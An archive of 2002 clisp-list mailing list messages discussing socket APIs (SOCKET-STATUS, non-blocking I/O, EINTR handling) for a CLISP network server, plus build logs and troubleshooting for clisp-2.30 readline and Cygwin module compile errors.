> * Sent on Fri, 27 Sep 2002 07:24:21 -0700
> * Honorable "Dave Richards" <dave@synergy.org> writes:
>
> Yes, the final solution is going to require:

"final solution" is a nasty word combination.

> 	- an interface to select()

SOCKET-STATUS

> 	- non-blocking sockets

I can add FIONREAD, FIONWRITE & FIONBIO to SOCKET-OPTIONS.
Would it help?

> 	- interfaces to partial read()/write()

partial read is available for buffered streams, I think.
I an add partial write too.

> I am quickly coming to the conclusion that CMUCL is a better platform
> for this application as these interfaces already exist.

I would be aggrieved to see you go.

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> * In message <DFD875E85664D3118FA6080006277DE706A84C80@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] TCP-based Network Server in CLISP"
> * Sent on Fri, 27 Sep 2002 15:41:55 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> May I suggest something simple, like what I believe many other
> programmers in other Lisps or languages do and which is portable for
> sockets: in non-blocking mode, you can read _as much as is available_
> using a single read(). I think you can also write() a large number,
> and the OS will tell you that it couldn't write all and tell you how
> much it actually wrote. It's then up to you/the application to deal
> with sending the rest at a later time.
> 
> So this E-Mail is a feature request for Lisp-level access to a single
> OS-level read() and write. READ-SOME-BYTE/SEQUENCE et al.

right now, _buffered_ stream _input_ works as you describe (a single
read).
output works the same way for buffered and unbuffered streams (this can
be fixed).

So, Dave, could you please try buffered streams?
(you will need the latest CLISP, of course).

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Date: Fri Sep 27 14:07:06 2002
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 > > By using a read-byte-no-hang I can read data
 > >until the entire request has been read
 > Using READ-CHAR-NO-HANG for i/o instead of sequence/array functions is 
 > going to keep your program a _toy prototype_ with extremely poor 

I think this conclusion is unjustified.  What do you consider to be
extremely poor performance?  Do you have any useful data?

- How much slower is it to read one char at a time?
I expect you can get a large factor if you only compare something like
cpu usage for a single read that returns, say, 1K bytes to 1K tests
and reads on single bytes.  However I don't think that reflects the
true cost of most services.

- In some cases this cpu overhead is not the bottleneck, such as when
you have limited network bandwidth, as most of us do.  How fast a cpu
do you need to read/write at what speeds from clisp one byte at a time?

- There are also cases where the IO cost is not the bottleneck.  That
is, high speed communication is not really needed or even intended.
In this case you can even prevent a bandwidth attack from denying
service to others by simply sharing your effort among the users.

 > performance. Stated otherwise: if it works not too badly for you, thank 
 > the OS (scheduler, dispatcher, TCP stack implementations, system load 
 > etc.), not your application.

The OS is the environment in which your server lives.  It's perfectly
reasonable for your server to be adapted to its environment.  If your
server works well in that environment I think it deserves credit for
that regardless of how it might fare in some other environment.




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Hello Sam,

Saturday, September 28, 2002, 12:44:54 AM, you wrote:

>>       - an interface to select()

> SOCKET-STATUS

>>       - non-blocking sockets

> I can add FIONREAD, FIONWRITE & FIONBIO to SOCKET-OPTIONS.
> Would it help?

No! Don't add FIONBIO! This may break something, firstly ctrl-c
interruptability.

FIONWRITE seems not available in winsock.

I'm going to set all sockets operations to nonblocking and change
everywhere

operation() to

{ do while (!select());
  operation();
  }

to get rid of WSACancelBlockingCall.

>>       - interfaces to partial read()/write()

> partial read is available for buffered streams, I think.
> I an add partial write too.

What do you mean by partial read ? It should be something like
(read-to-string socket-stream) -> string, which always return
immediately. There also can be
(write-from-string socket-stream string frompos count) ->
count-written.

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> >>       - an interface to select()
>
> > SOCKET-STATUS

I have two concerns with SOCKET-STATUS as written:

	- SOCKET-STATUS does not allow one to select() on exceptional (what CLISP
calls error) conditions.
	- SOCKET-STATUS retries upon reception of EINTR.

Errors in the sense of ECONNRESET, ETIMEDOUT, etc. select() true for read
(not exceptional conditions).  Exceptional conditions in TCP, for example,
is used to signal the existence of urgent (out-of-band) data.  select()
won't set a bit in the result fd_sets unless that bit was set in the input
fd_sets.  The :direction value in SOCKET-STATUS can be one of :input,
:output or :io.  Therefore, it is not possible to select for urgent TCP data
using SOCKET-STATUS.  It shuld be possible to specify any combination of
:input, :output, and :exception/:error (whatever) and :io for convenience.
Btw, kudos if you handle server sockets differently and use the :accept
direction for them (which, of course, maps toe read).

Upon reception of a signal, SOCKET-STATUS retries.  The timeval structure
passed into select() is normally read-only and, thus, doesn't reflect the
passage of time between the select() and the signal.  (Some operating
systems implement a version of select() where this isn't true, but they are
a minority.)  Therefore, upon delivery of a signal a loss of temporal
continuity exists.  If select() is re-started then select() may have waited
for much longer than the application had intended.

My server application, for example, is really a loop which handles two types
of events: (1) network traffic events and (2) time passage events.  There
are three network traffic events: (1) new input data has arrived, (2) the
application has buffered output and there is now room on the socket to write
some/all of it to the socket, and (3) a new TCP connection has arrived.
We're close to being able to handle these network traffic events.

Time passage events are orthoginal, for the most part, but do impact how we
handle select() EINTRs.  Time passage can be handled in one of two ways: (1)
polling, or (2) via signals.  Either way, this impacts how we handle EINTR
in select().  My current C code uses polling.  The last set of gprof data I
collected showed me in gettimeofday() 3% of the time!  My goal/desire would
be to use an interval timer in the next version.

One day I want to address SIGALRM in CLISP (as part of the passage of time
event handling) but that's a different discussion.

	Dave




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I notice that the configure script has reduced the number of command line
arguments to makemake in 2.30 from that in 2.28.

<
./makemake  --prefix=/home/dave/clisp --with-readline --with-gettext --with-
dynamic-ffi > Makefile
---
> ./makemake --with-dynamic-ffi  --prefix=/home/dave/clisp   > Makefile

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cd src=0A=
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make=0A=
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  =
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations =
-DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -x none =
../utils/comment5.c -o comment5=0A=
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./comment5 ansidecl.d ansidecl.c=0A=
rm -f ansidecl.d=0A=
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  =
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations =
-DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -x none ansidecl.c =
-o ansidecl=0A=
rm -f ansidecl.c=0A=
./comment5 ../utils/varbrace.d | ./ansidecl > varbrace.c=0A=
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  =
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations =
-DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -x none varbrace.c =
-o varbrace=0A=
rm -f varbrace.c=0A=
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  =
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations =
-DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -x none  =
../utils/txt2c.c -o txt2c=0A=
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  =
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations =
-DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -x none  -I. =
../utils/ccmp2c.c -o ccmp2c=0A=
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  =
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations =
-DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -x none  =
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./comment5 flo_konv.d | ./ansidecl | ./varbrace > flo_konv.c=0A=
./comment5 flo_rest.d | ./ansidecl | ./varbrace > flo_rest.c=0A=
./comment5 realelem.d | ./ansidecl | ./varbrace > realelem.c=0A=
./comment5 realrand.d | ./ansidecl | ./varbrace > realrand.c=0A=
./comment5 realtran.d | ./ansidecl | ./varbrace > realtran.c=0A=
./comment5 compelem.d | ./ansidecl | ./varbrace > compelem.c=0A=
./comment5 comptran.d | ./ansidecl | ./varbrace > comptran.c=0A=
./comment5 arilev1c.d | ./ansidecl | ./varbrace > arilev1c.c=0A=
./comment5 arilev1e.d | ./ansidecl | ./varbrace > arilev1e.c=0A=
./comment5 arilev1i.d | ./ansidecl | ./varbrace > arilev1i.c=0A=
./comment5 genclisph.d | ./ansidecl | ./varbrace > genclisph.c=0A=
./comment5 modules.d | ./ansidecl | ./varbrace > modules.c=0A=
./comment5 noreadline.d | ./ansidecl | ./varbrace > noreadline.c=0A=
./comment5 ari80386.d > ari80386.c=0A=
sed -e 's/@''HAVE__BOOL''@/0/g' < stdbool.h.in > stdbool.h=0A=
builddir=3D"`pwd`"; cd libcharset && make && make install-lib =
libdir=3D"$builddir" includedir=3D"$builddir"=0A=
make[1]: Entering directory `/home/dave/clisp-2.30/src/libcharset'=0A=
if [ ! -d include ] ; then mkdir include ; fi=0A=
cp ../../libcharset/include/libcharset.h.in include/libcharset.h=0A=
cd lib && make all=0A=
make[2]: Entering directory `/home/dave/clisp-2.30/src/libcharset/lib'=0A=
/bin/sh ../libtool --mode=3Dcompile gcc -I. -I../../../libcharset/lib =
-I.. -I../../../libcharset/lib/.. -g -O2  -DHAVE_CONFIG_H =
-DLIBDIR=3D\"/home/dave/clisp/lib\" -c =
../../../libcharset/lib/localcharset.c=0A=
mkdir .libs=0A=
gcc -I. -I../../../libcharset/lib -I.. -I../../../libcharset/lib/.. -g =
-O2 -DHAVE_CONFIG_H -DLIBDIR=3D\"/home/dave/clisp/lib\" -c =
../../../libcharset/lib/localcharset.c      -fPIC -DPIC -o localcharset.o=0A=
mv -f localcharset.o .libs/localcharset.lo=0A=
gcc -I. -I../../../libcharset/lib -I.. -I../../../libcharset/lib/.. -g =
-O2 -DHAVE_CONFIG_H -DLIBDIR=3D\"/home/dave/clisp/lib\" -c =
../../../libcharset/lib/localcharset.c -o localcharset.o >/dev/null 2>&1=0A=
mv -f .libs/localcharset.lo localcharset.lo=0A=
/bin/sh ../libtool --mode=3Dlink gcc  -o libcharset.la -rpath =
/home/dave/clisp/lib -version-info 1:0:0 -no-undefined localcharset.lo=0A=
rm -fr .libs/libcharset.la .libs/libcharset.* .libs/libcharset.*=0A=
gcc -shared  localcharset.lo   -Wl,-soname -Wl,libcharset.so.1 -o =
.libs/libcharset.so.1.0.0=0A=
(cd .libs && rm -f libcharset.so.1 && ln -s libcharset.so.1.0.0 =
libcharset.so.1)=0A=
(cd .libs && rm -f libcharset.so && ln -s libcharset.so.1.0.0 =
libcharset.so)=0A=
ar cru .libs/libcharset.a  localcharset.o =0A=
ranlib .libs/libcharset.a=0A=
creating libcharset.la=0A=
(cd .libs && rm -f libcharset.la && ln -s ../libcharset.la libcharset.la)=0A=
/bin/sh ../../../libcharset/lib/config.charset 'i686-pc-linux-gnu' > =
t-charset.alias=0A=
mv t-charset.alias charset.alias=0A=
sed -e '/^#/d' -e 's/@''PACKAGE''@//g' =
../../../libcharset/lib/ref-add.sin > t-ref-add.sed=0A=
mv t-ref-add.sed ref-add.sed=0A=
sed -e '/^#/d' -e 's/@''PACKAGE''@//g' =
../../../libcharset/lib/ref-del.sin > t-ref-del.sed=0A=
mv t-ref-del.sed ref-del.sed=0A=
make[2]: Leaving directory `/home/dave/clisp-2.30/src/libcharset/lib'=0A=
make[1]: Leaving directory `/home/dave/clisp-2.30/src/libcharset'=0A=
make[1]: Entering directory `/home/dave/clisp-2.30/src/libcharset'=0A=
cd lib && make all=0A=
make[2]: Entering directory `/home/dave/clisp-2.30/src/libcharset/lib'=0A=
make[2]: Nothing to be done for `all'.=0A=
make[2]: Leaving directory `/home/dave/clisp-2.30/src/libcharset/lib'=0A=
cd lib && make install-lib libdir=3D'/home/dave/clisp-2.30/src' =
includedir=3D'/home/dave/clisp-2.30/src'=0A=
make[2]: Entering directory `/home/dave/clisp-2.30/src/libcharset/lib'=0A=
/bin/sh ../../../libcharset/lib/../autoconf/mkinstalldirs =
/home/dave/clisp-2.30/src=0A=
/bin/sh ../libtool --mode=3Dinstall /usr/bin/install -c -m 644 =
libcharset.la /home/dave/clisp-2.30/src/libcharset.la=0A=
/usr/bin/install -c -m 644 .libs/libcharset.so.1.0.0 =
/home/dave/clisp-2.30/src/libcharset.so.1.0.0=0A=
(cd /home/dave/clisp-2.30/src && rm -f libcharset.so.1 && ln -s =
libcharset.so.1.0.0 libcharset.so.1)=0A=
(cd /home/dave/clisp-2.30/src && rm -f libcharset.so && ln -s =
libcharset.so.1.0.0 libcharset.so)=0A=
/usr/bin/install -c -m 644 .libs/libcharset.lai =
/home/dave/clisp-2.30/src/libcharset.la=0A=
/usr/bin/install -c -m 644 .libs/libcharset.a =
/home/dave/clisp-2.30/src/libcharset.a=0A=
ranlib /home/dave/clisp-2.30/src/libcharset.a=0A=
chmod 644 /home/dave/clisp-2.30/src/libcharset.a=0A=
libtool: install: warning: remember to run `libtool --finish =
/home/dave/clisp/lib'=0A=
test -f /home/dave/clisp-2.30/src/charset.alias && =
orig=3D/home/dave/clisp-2.30/src/charset.alias \=0A=
                                || orig=3Dcharset.alias; \=0A=
sed -f ref-add.sed $orig > /home/dave/clisp-2.30/src/t-charset.alias; \=0A=
/usr/bin/install -c -m 644 /home/dave/clisp-2.30/src/t-charset.alias =
/home/dave/clisp-2.30/src/charset.alias; \=0A=
rm -f /home/dave/clisp-2.30/src/t-charset.alias=0A=
make[2]: Leaving directory `/home/dave/clisp-2.30/src/libcharset/lib'=0A=
/bin/sh ../../libcharset/autoconf/mkinstalldirs /home/dave/clisp-2.30/src=0A=
/usr/bin/install -c -m 644 include/libcharset.h =
/home/dave/clisp-2.30/src/libcharset.h=0A=
make[1]: Leaving directory `/home/dave/clisp-2.30/src/libcharset'=0A=
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  =
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations =
-DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c spvw.c=0A=
In file included from spvw.d:22:=0A=
lispbibl.d:7183: warning: register used for two global register variables=0A=
spvw.d: In function `main':=0A=
spvw.d:1688: warning: variable `argv_memneed' might be clobbered by =
`longjmp' or `vfork'=0A=
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  =
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations =
-DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c spvwtabf.c=0A=
In file included from spvwtabf.d:5:=0A=
lispbibl.d:7183: warning: register used for two global register variables=0A=
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  =
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations =
-DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c spvwtabs.c=0A=
In file included from spvwtabs.d:5:=0A=
lispbibl.d:7183: warning: register used for two global register variables=0A=
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  =
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations =
-DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c spvwtabo.c=0A=
In file included from spvwtabo.d:5:=0A=
lispbibl.d:7183: warning: register used for two global register variables=0A=
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  =
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations =
-DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c eval.c=0A=
In file included from eval.d:6:=0A=
lispbibl.d:7183: warning: register used for two global register variables=0A=
eval.d: In function `invoke_handlers':=0A=
eval.d:628: warning: variable `other_ranges' might be clobbered by =
`longjmp' or `vfork'=0A=
eval.d:631: warning: variable `FRAME' might be clobbered by `longjmp' or =
`vfork'=0A=
eval.d:643: warning: variable `i' might be clobbered by `longjmp' or =
`vfork'=0A=
eval.d: In function `funcall_iclosure':=0A=
eval.d:2444: warning: argument `closure' might be clobbered by `longjmp' =
or `vfork'=0A=
eval.d:2445: warning: argument `args_pointer' might be clobbered by =
`longjmp' or `vfork'=0A=
eval.d:2446: warning: argument `argcount' might be clobbered by =
`longjmp' or `vfork'=0A=
eval.d: In function `eval':=0A=
eval.d:2943: warning: argument `form' might be clobbered by `longjmp' or =
`vfork'=0A=
eval.d: In function `eval_no_hooks':=0A=
eval.d:3000: warning: argument `form' might be clobbered by `longjmp' or =
`vfork'=0A=
eval.d: In function `interpret_bytecode_':=0A=
eval.d:5947: warning: variable `byteptr' might be clobbered by `longjmp' =
or `vfork'=0A=
eval.d:5956: warning: variable `closureptr' might be clobbered by =
`longjmp' or `vfork'=0A=
eval.d:5936: warning: argument `closure' might be clobbered by `longjmp' =
or `vfork'=0A=
eval.d:5937: warning: argument `codeptr' might be clobbered by `longjmp' =
or `vfork'=0A=
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  =
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations =
-DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c control.c=0A=
In file included from control.d:4:=0A=
lispbibl.d:7183: warning: register used for two global register variables=0A=
control.d: In function `C_tagbody':=0A=
control.d:1671: warning: variable `body' might be clobbered by `longjmp' =
or `vfork'=0A=
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  =
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations =
-DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c encoding.c=0A=
In file included from encoding.d:5:=0A=
lispbibl.d:7183: warning: register used for two global register variables=0A=
encoding.d: In function `nls_range':=0A=
encoding.d:1602: warning: `i1' might be used uninitialized in this =
function=0A=
encoding.d:1603: warning: `i2' might be used uninitialized in this =
function=0A=
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  =
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations =
-DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c pathname.c=0A=
In file included from pathname.d:7:=0A=
lispbibl.d:7183: warning: register used for two global register variables=0A=
pathname.d: In function `parse_logical_word':=0A=
pathname.d:1585: warning: `ch' might be used uninitialized in this =
function=0A=
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  =
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations =
-DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c stream.c=0A=
In file included from stream.d:8:=0A=
lispbibl.d:7183: warning: register used for two global register variables=0A=
stream.d: In function `lisp_completion':=0A=
stream.d:9182: warning: variable `array' might be clobbered by `longjmp' =
or `vfork'=0A=
stream.d:9189: warning: variable `ptr' might be clobbered by `longjmp' =
or `vfork'=0A=
stream.d:9205: warning: variable `ptr1' might be clobbered by `longjmp' =
or `vfork'=0A=
stream.d: In function `rd_ch_terminal3':=0A=
stream.d:9753: `rl_already_prompted' undeclared (first use in this =
function)=0A=
stream.d:9753: (Each undeclared identifier is reported only once=0A=
stream.d:9753: for each function it appears in.)=0A=
stream.d: In function `make_terminal_stream_':=0A=
stream.d:10070: `rl_gnu_readline_p' undeclared (first use in this =
function)=0A=
stream.d: In function `init_streamvars':=0A=
stream.d:15296: warning: assignment from incompatible pointer type=0A=
stream.d: In function `rl_memory_abort':=0A=
stream.d:15410: warning: implicit declaration of function =
`rl_deprep_terminal'=0A=
stream.d:15412: `rl_gnu_readline_p' undeclared (first use in this =
function)=0A=
make: *** [stream.o] Error 1=0A=

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> * In message <AOENJKDECJBPGIGJDAALEECOCBAA.dave@synergy.org>
> * On the subject of "RE: Re[2]: [clisp-list] TCP-based Network Server in CLISP"
> * Sent on Sat, 28 Sep 2002 09:35:14 -0700
> * Honorable "Dave Richards" <dave@synergy.org> writes:
>
> > >>       - an interface to select()
> >
> > > SOCKET-STATUS
> 
> I have two concerns with SOCKET-STATUS as written:
> 
> 	- SOCKET-STATUS does not allow one to select() on exceptional (what CLISP
> calls error) conditions.

is does!
look at the sources (and docs): SOCKET-STATUS can return :ERROR for a
socket.

> The :direction value in SOCKET-STATUS can be one of :input, :output or
> :io.  Therefore, it is not possible to select for urgent TCP data
> using SOCKET-STATUS.  It shuld be possible to specify any combination
> of :input, :output, and :exception/:error (whatever) and :io for
> convenience.

CLISP always adds the socket so errorfds fd_set, i.e., CLISP always
checks for errors.
(sock . :error) would mean to wait _only_ for errors.
when is this useful?

> 	- SOCKET-STATUS retries upon reception of EINTR.
> Time passage events are orthoginal, for the most part, but do impact how we
> handle select() EINTRs.  Time passage can be handled in one of two ways: (1)
> polling, or (2) via signals.  Either way, this impacts how we handle EINTR
> in select().  My current C code uses polling.  The last set of gprof data I
> collected showed me in gettimeofday() 3% of the time!  My goal/desire would
> be to use an interval timer in the next version.

I am not sure I understand this.
would you prefer CLISP to signal an error on EINTR?
C-c does interrupt SOCKET-STATUS already, right?

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> * In message <AOENJKDECJBPGIGJDAALKECOCBAA.dave@synergy.org>
> * On the subject of "[clisp-list] clisp-2.30 build problems on Red Hat Linux 6.2"
> * Sent on Sat, 28 Sep 2002 09:46:47 -0700
> * Honorable "Dave Richards" <dave@synergy.org> writes:
>
> gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -c stream.c
> In file included from stream.d:8:
> lispbibl.d:7183: warning: register used for two global register variables
> stream.d: In function `lisp_completion':
> stream.d:9182: warning: variable `array' might be clobbered by `longjmp' or `vfork'
> stream.d:9189: warning: variable `ptr' might be clobbered by `longjmp' or `vfork'
> stream.d:9205: warning: variable `ptr1' might be clobbered by `longjmp' or `vfork'
> stream.d: In function `rd_ch_terminal3':
> stream.d:9753: `rl_already_prompted' undeclared (first use in this function)
> stream.d:9753: (Each undeclared identifier is reported only once
> stream.d:9753: for each function it appears in.)
> stream.d: In function `make_terminal_stream_':
> stream.d:10070: `rl_gnu_readline_p' undeclared (first use in this function)
> stream.d: In function `init_streamvars':
> stream.d:15296: warning: assignment from incompatible pointer type
> stream.d: In function `rl_memory_abort':
> stream.d:15410: warning: implicit declaration of function `rl_deprep_terminal'
> stream.d:15412: `rl_gnu_readline_p' undeclared (first use in this function)
> make: *** [stream.o] Error 1

I think you have a _very_ old readline version (where everything was
called "foo" instead of "rl_foo" in the newer readline)
Could you please look at unixconf.h in your build directory and see
what READLINE_FILE_COMPLETE is being defined to?
Could you please also look at <readline/readline.h> and see whether it
declares `already_prompted' (instead of 'rl_already_prompted') and
`gnu_readline_p' (instead of `rl_gnu_readline_p') &c.
Thanks.
If this is the case, please do _NOT_ upgrade your readline!!!
I will work out a patch and ask you to try it.
(the easiest way would be for you to use the CVS, of course :-)

you can also do

$ ./configure --without-readline --build build-no-readline

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> is does!
> look at the sources (and docs): SOCKET-STATUS can return :ERROR for a
> socket.

Good grief!  I missed that when I was reading the code.  You're right.
:input (in_sock) implies :error *pre-select()).  My apologies.

> CLISP always adds the socket so errorfds fd_set, i.e., CLISP always
> checks for errors.
> (sock . :error) would mean to wait _only_ for errors.
> when is this useful?

The way it's coded is perfectly adequate.

> > 	- SOCKET-STATUS retries upon reception of EINTR.
> > Time passage events are orthoginal, for the most part, but do
> impact how we
> > handle select() EINTRs.  Time passage can be handled in one of
> two ways: (1)
> > polling, or (2) via signals.  Either way, this impacts how we
> handle EINTR
> > in select().  My current C code uses polling.  The last set of
> gprof data I
> > collected showed me in gettimeofday() 3% of the time!  My
> goal/desire would
> > be to use an interval timer in the next version.
>
> I am not sure I understand this.
> would you prefer CLISP to signal an error on EINTR?
> C-c does interrupt SOCKET-STATUS already, right?

Well, rather than dictate a solution (since there are several possibilities)
let me state the problem:

	1. select() for each socket until network traffix events occurs, i.e.
:input, :output, :io, :error.
	2. Every second execute a LISP function which handles time-based work.

In a single-threaded environment like CLISP, network traffic and time events
must be multiplexed in such a way that both needs are met (more or less
efficiently).  One approach (the one my C code uses) is to pass the time
value (1 second) to select().  This ensures that we'll exit select() in time
to meet our next time event.  Unfortunately, with many users connected, we
can exit select() many times per second.  Which means we must call
gettimeofday() every loop iteration to see how much longer before we should
process our time events.  We subtract the "next time period" from the
current time and pass the difference to select().  This approach, although
simple and seemingly elegant, is also pretty expensive.  The second approach
would be to use a 1 second interval timer.  When the timer expires, the
signal handler would increment a variable.  At the next loop iteration we
can use the variable to decide whether to handle time events (and how many).

If we poll, EINTR handling isn't very important.  In general, CLISP doesn't
receive signals.  Therefore, who really cares how we handle EINTR?

However, in the second (interval timer) case, signals are important.  We use
signals to keep track of time.  If socket-status re-select()s in the EINTR
case, our time event processing may lag.

So, the bottom line is, if we poll for time, re-select()ing isn't a big
deal.  But if we use setitimer() to handle time, EINTR becomes an issue.

Make sense?

	Dave




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> I think you have a _very_ old readline version (where everything was
> called "foo" instead of "rl_foo" in the newer readline)
> Could you please look at unixconf.h in your build directory and see
> what READLINE_FILE_COMPLETE is being defined to?

/* CL_READLINE */
/* Define if you have <readline/readline.h>. */
#define HAVE_READLINE_READLINE_H 1
/* Define as const if the declaration of filename_completion_function()
   needs const in the first argument */
#define READLINE_CONST
/* The readline built-in filename completion function, either
   rl_filename_completion_function() or filename_completion_function() */
#define READLINE_FILE_COMPLETE filename_completion_function

> Could you please also look at <readline/readline.h> and see whether it
> declares `already_prompted' (instead of 'rl_already_prompted') and
> `gnu_readline_p' (instead of `rl_gnu_readline_p') &c.
> Thanks.

I find no reference to already_prompted nor gnu_readline_p at all, either
with or without the rl_ prefix.  I grepped all files in
/usr/include/readline just to be sure.

> I will work out a patch and ask you to try it.
> (the easiest way would be for you to use the CVS, of course :-)

I promise I'll go read the CVS thing.  You needn't make a patch.  It'll
motivate me to set CVS up.

	Thanks!

	Dave




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> * In message <AOENJKDECJBPGIGJDAALKECPCBAA.dave@synergy.org>
> * On the subject of "RE: Re[2]: [clisp-list] TCP-based Network Server in CLISP"
> * Sent on Sat, 28 Sep 2002 18:00:14 -0700
> * Honorable "Dave Richards" <dave@synergy.org> writes:
>
> > > 	- SOCKET-STATUS retries upon reception of EINTR.
> > > Time passage events are orthoginal, for the most part, but do
> > impact how we
> > > handle select() EINTRs.  Time passage can be handled in one of
> > two ways: (1)
> > > polling, or (2) via signals.  Either way, this impacts how we
> > handle EINTR
> > > in select().  My current C code uses polling.  The last set of
> > gprof data I
> > > collected showed me in gettimeofday() 3% of the time!  My
> > goal/desire would
> > > be to use an interval timer in the next version.
> >
> > I am not sure I understand this.
> > would you prefer CLISP to signal an error on EINTR?
> > C-c does interrupt SOCKET-STATUS already, right?
> 
> Well, rather than dictate a solution (since there are several possibilities)
> let me state the problem:
> 
> 	1. select() for each socket until network traffix events occurs, i.e.
> :input, :output, :io, :error.
> 	2. Every second execute a LISP function which handles time-based work.
> 
> In a single-threaded environment like CLISP, network traffic and time events
> must be multiplexed in such a way that both needs are met (more or less
> efficiently).  One approach (the one my C code uses) is to pass the time
> value (1 second) to select().  This ensures that we'll exit select() in time
> to meet our next time event.  Unfortunately, with many users connected, we
> can exit select() many times per second.  Which means we must call
> gettimeofday() every loop iteration to see how much longer before we should
> process our time events.  We subtract the "next time period" from the
> current time and pass the difference to select().  This approach, although
> simple and seemingly elegant, is also pretty expensive.

in CLISP you will be using GET-INTERNAL-REAL-TIME, right?

> The second approach would be to use a 1 second interval timer.  When
> the timer expires, the signal handler would increment a variable.  At
> the next loop iteration we can use the variable to decide whether to
> handle time events (and how many).
> 
> If we poll, EINTR handling isn't very important.  In general, CLISP doesn't
> receive signals.  Therefore, who really cares how we handle EINTR?
> 
> However, in the second (interval timer) case, signals are important.  We use
> signals to keep track of time.  If socket-status re-select()s in the EINTR
> case, our time event processing may lag.
> 
> So, the bottom line is, if we poll for time, re-select()ing isn't a big
> deal.  But if we use setitimer() to handle time, EINTR becomes an issue.
> 
> Make sense?

yes.

but since I vaguely recall that CLISP uses alarms for other things, I
think the first way is the right way.

besides, the only reasonable thing to do on EINTR is to signal an error.

I hope more OS-savvy people will weigh in here.
Bruno, Arseny, please!

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After sucessfully compiling 2.30 using cygwin, I tried to compile the
gdi module.
It looks like the command line which is used to compile the module does
not have the
second include properly specified.  The command line seems to be coming
from the
upper level makefile.  Any ideas on how to correct this?
Thanks,
Dan Stanger

test -d bindings || mkdir -p bindings
test -d gdi || ../src/lndir ../modules/gdi gdi
if test -f gdi/configure -a '!' -f gdi/config.status ; then cd gdi ;
./configure --cache-file=`echo gdi/ | sed -e
's,[^/][^/]*//*,../,g'`config.cache ; fi
CLISP="`pwd`/lisp.exe -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale
-Efile UTF-8 -Eterminal UTF-8 -norc" ; cd gdi ; dots=`echo gdi/ | sed -e
's,[^/][^/]*//*,../,g'` ; make clisp-module CC="gcc" CFLAGS="-W -Wswitch
-Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer
-Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI
-DNO_SIGSEGV -I." INCLUDES="$dots" LISPBIBL_INCLUDES=" ${dots}lispbibl.c
${dots}fsubr.c ${dots}subr.c ${dots}pseudofun.c ${dots}constsym.c
${dots}constobj.c ${dots}unix.c ${dots}xthread.c ${dots}stdbool.h
${dots}stdint.h ${dots}libcharset.h" CLFLAGS="-x none" LIBS="-lintl
libcharset.a libavcall.a libcallback.a -lreadline -lncurses   -liconv "
RANLIB="ranlib" CLISP="$CLISP -q"
make[1]: Entering directory `/cygdrive/d/clisp-2.30/cygwin-gdi/gdi'
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
